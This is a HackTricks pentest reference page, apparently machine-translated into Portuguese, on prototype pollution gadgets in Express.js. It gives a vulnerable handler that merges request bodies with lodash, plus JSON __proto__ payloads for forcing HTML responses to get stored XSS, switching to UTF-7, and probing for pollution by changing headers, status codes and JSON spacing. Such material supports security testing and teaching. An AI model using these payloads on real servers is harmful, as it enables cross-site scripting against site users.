Express Prototype Pollution Gadgets

Support HackTricks

Serve XSS responses

Para mais detalhes dê uma olhada na pesquisa original

Mudar o tipo de conteúdo JSON para HTML

Em um aplicativo Express usando uma resposta de tipo de conteúdo JSON e refletindo um JSON:

app.use(bodyParser.json({type: 'application/json'}));
app.post('/', function(req, res){
_.merge({}, req.body);
res.send(req.body);
});

Em esses casos, XSS normalmente não é possível com um tipo de conteúdo JSON. No entanto, com a poluição de protótipos, podemos confundir o Express para servir uma resposta HTML. Essa vulnerabilidade depende da aplicação usar res.send(obj) e usar o analisador de corpo com o tipo de conteúdo application/json.

{"__proto__":{"_body":true,"body":"<script>evil()"}}

Ao poluir as propriedades body e _body, é possível fazer com que o Express sirva o tipo de conteúdo HTML e reflita a propriedade _body, resultando em XSS armazenado.

Renderizar UTF7

É possível fazer o express renderizar conteúdo UTF-7 com:

{"__proto__":{"content-type": "application/json; charset=utf-7"}}

Técnicas de Escaneamento Seguras

Espaços JSON

O seguinte PP fará com que atributos dentro de um JSON tenham um espaço extra que não quebrará a funcionalidade:

{"__proto__":{"json spaces": " "}}

Então um JSON refletido ficará assim:

{"foo":  "bar"} -- Note the extra space

Exposed Headers

O seguinte gadget de PP fará com que o servidor retorne o cabeçalho HTTP: Access-Control-Expose_headers: foo

{"__proto__":{"exposedHeaders":["foo"]}}

Requer o módulo CORS instalado

Método OPTIONS

Com o seguinte payload, é possível ocultar um método de uma resposta OPTIONS:

// Original reponse: POST,GET,HEAD

// Payload:
{"__proto__":{"head":true}}

//New response: POST;GET

Status

É possível alterar o código de status retornado usando a seguinte carga útil de PP:

{"__proto__":{"status":510}}

Erro

Quando você atribui a um protótipo com um primitivo como uma string, isso produz uma operação no-op, uma vez que o protótipo deve ser um objeto. Se você tentar atribuir um objeto protótipo ao Object.prototype em si, isso gerará uma exceção. Podemos usar esses dois comportamentos para detectar se a poluição do protótipo foi bem-sucedida:

({}).__proto__.__proto__={}//throws type exception
({}).__proto__.__proto__="x"//no-op does not throw exception

Valor Refletido

Quando uma aplicação inclui um objeto em sua resposta, criar um atributo com um nome incomum junto com __proto__ pode ser revelador. Especificamente, se apenas o atributo incomum for retornado na resposta, isso pode indicar a vulnerabilidade da aplicação:

{"unusualName":"value","__proto__":"test"}

Além disso, em cenários onde uma biblioteca como Lodash é empregada, definir uma propriedade tanto via poluição de protótipo (PP) quanto diretamente dentro do objeto oferece outra abordagem diagnóstica. Se tal propriedade for omitida da resposta, isso sugere que Lodash está verificando a existência da propriedade no objeto alvo antes de mesclar:

{"__proto__":{"a":"value1"},"a":"value2","b":"value3"}
// If 'b' is the only property reflected, this indicates prototype pollution in Lodash

Misc

Allow Dots

Há uma opção no Express que permite criar objetos a partir de parâmetros de string de consulta. Você definitivamente poderia usá-la em uma cadeia de bugs para explorar uma vulnerabilidade de poluição de protótipo.

{"__proto__":{"allowDots":true}}

?foo.bar=baz cria um objeto no Node.

Referências

Support HackTricks

Last updated